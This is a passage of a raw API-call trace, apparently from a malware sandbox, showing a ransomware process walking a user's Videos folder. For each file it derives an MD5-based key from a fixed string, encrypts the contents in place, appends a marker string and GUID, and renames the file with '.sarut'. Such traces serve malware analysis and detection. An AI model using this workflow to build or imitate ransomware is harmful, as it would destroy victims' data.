Size=0x60) returned 0x2ff19f8 [0269.521] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.521] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.521] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.521] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.521] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.521] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.521] CloseHandle (hObject=0x5c4) returned 1 [0269.523] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.523] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0269.523] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.523] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DJt2bijl-Kw7JEUBg.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\djt2bijl-kw7jeubg.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DJt2bijl-Kw7JEUBg.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\djt2bijl-kw7jeubg.mkv.sarut")) returned 1 [0269.524] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.524] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.525] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.525] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdc0fa0, ftCreationTime.dwHighDateTime=0x1d4c8a1, ftLastAccessTime.dwLowDateTime=0xacfdd540, ftLastAccessTime.dwHighDateTime=0x1d4cd6e, ftLastWriteTime.dwLowDateTime=0xacfdd540, ftLastWriteTime.dwHighDateTime=0x1d4cd6e, nFileSizeHigh=0x0, nFileSizeLow=0x1520e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hAf_3U-gHvce4wcnQA_w.mkv", cAlternateFileName="HAF_3U~1.MKV")) returned 1 [0269.525] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.525] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.525] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.525] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAf_3U-gHvce4wcnQA_w.mkv") returned=".mkv" [0269.525] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAf_3U-gHvce4wcnQA_w.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\haf_3u-ghvce4wcnqa_w.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.525] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=86542) returned 1 [0269.525] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.527] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x151e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.527] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.528] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.528] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.529] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.529] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1520e, lpOverlapped=0x0) returned 1 [0269.529] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.529] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.529] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.529] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.529] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.530] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.530] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.530] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.531] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.531] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.531] GetLastError () returned 0x0 [0269.531] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.531] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.531] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x15210) returned 0x311d708 [0269.531] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.531] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.531] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x15209, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x15209, lpOverlapped=0x0) returned 1 [0269.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.532] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1520e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.532] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.532] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.532] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.532] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.532] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.532] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.532] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.532] CloseHandle (hObject=0x5c4) returned 1 [0269.535] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.535] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0269.535] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.535] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAf_3U-gHvce4wcnQA_w.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\haf_3u-ghvce4wcnqa_w.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAf_3U-gHvce4wcnQA_w.mkv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\haf_3u-ghvce4wcnqa_w.mkv.sarut")) returned 1 [0269.536] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.536] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.537] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.537] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fc8f5a0, ftCreationTime.dwHighDateTime=0x1d4c5c6, ftLastAccessTime.dwLowDateTime=0xacda7f70, ftLastAccessTime.dwHighDateTime=0x1d4c934, ftLastWriteTime.dwLowDateTime=0xacda7f70, ftLastWriteTime.dwHighDateTime=0x1d4c934, nFileSizeHigh=0x0, nFileSizeLow=0xb66f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HlD5zrxsdUc1Y3OP7nh.mp4", cAlternateFileName="HLD5ZR~1.MP4")) returned 1 [0269.537] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.537] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa51f8 [0269.537] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.537] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HlD5zrxsdUc1Y3OP7nh.mp4") returned=".mp4" [0269.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HlD5zrxsdUc1Y3OP7nh.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hld5zrxsduc1y3op7nh.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.537] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=46703) returned 1 [0269.537] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.539] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb649, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.539] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.541] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.541] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.541] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.541] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xb66f, lpOverlapped=0x0) returned 1 [0269.544] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.544] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.544] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.544] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.544] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.545] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.545] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.545] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.545] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.545] GetLastError () returned 0x0 [0269.545] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.545] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.545] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb670) returned 0x311d708 [0269.545] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.545] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.545] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xb66a, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xb66a, lpOverlapped=0x0) returned 1 [0269.546] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.546] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb66f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.546] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.547] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.547] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.547] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.547] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.547] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.547] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.547] CloseHandle (hObject=0x5c4) returned 1 [0269.548] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5060 [0269.548] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0269.548] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5060 | out: hHeap=0x640000) returned 1 [0269.548] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HlD5zrxsdUc1Y3OP7nh.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hld5zrxsduc1y3op7nh.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HlD5zrxsdUc1Y3OP7nh.mp4.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hld5zrxsduc1y3op7nh.mp4.sarut")) returned 1 [0269.549] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.549] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0269.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa51f8 | out: hHeap=0x640000) returned 1 [0269.551] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e45ca0, ftCreationTime.dwHighDateTime=0x1d4cae8, ftLastAccessTime.dwLowDateTime=0x16e13450, ftLastAccessTime.dwHighDateTime=0x1d4d410, ftLastWriteTime.dwLowDateTime=0x16e13450, ftLastWriteTime.dwHighDateTime=0x1d4d410, nFileSizeHigh=0x0, nFileSizeLow=0x138a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="isz2C.swf", cAlternateFileName="")) returned 1 [0269.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0269.551] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0269.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0269.551] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\isz2C.swf") returned=".swf" [0269.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\isz2C.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\isz2c.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.551] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=80033) returned 1 [0269.551] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.554] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1387b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.554] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.555] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0269.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.555] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0269.555] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x138a1, lpOverlapped=0x0) returned 1 [0269.556] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.556] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0269.557] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.557] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.557] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.558] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.558] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.558] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.558] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0269.558] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.558] GetLastError () returned 0x0 [0269.558] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.558] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.558] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0269.558] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x138a0) returned 0x311d708 [0269.558] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0269.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0269.559] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x1389c, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x1389c, lpOverlapped=0x0) returned 1 [0269.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.559] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x138a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0269.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0269.559] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0269.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0269.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.560] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0269.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0269.560] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.560] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.560] CloseHandle (hObject=0x5c4) returned 1 [0269.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0269.564] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0269.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0269.564] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\isz2C.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\isz2c.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\isz2C.swf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\isz2c.swf.sarut")) returned 1 [0269.565] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0269.565] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, 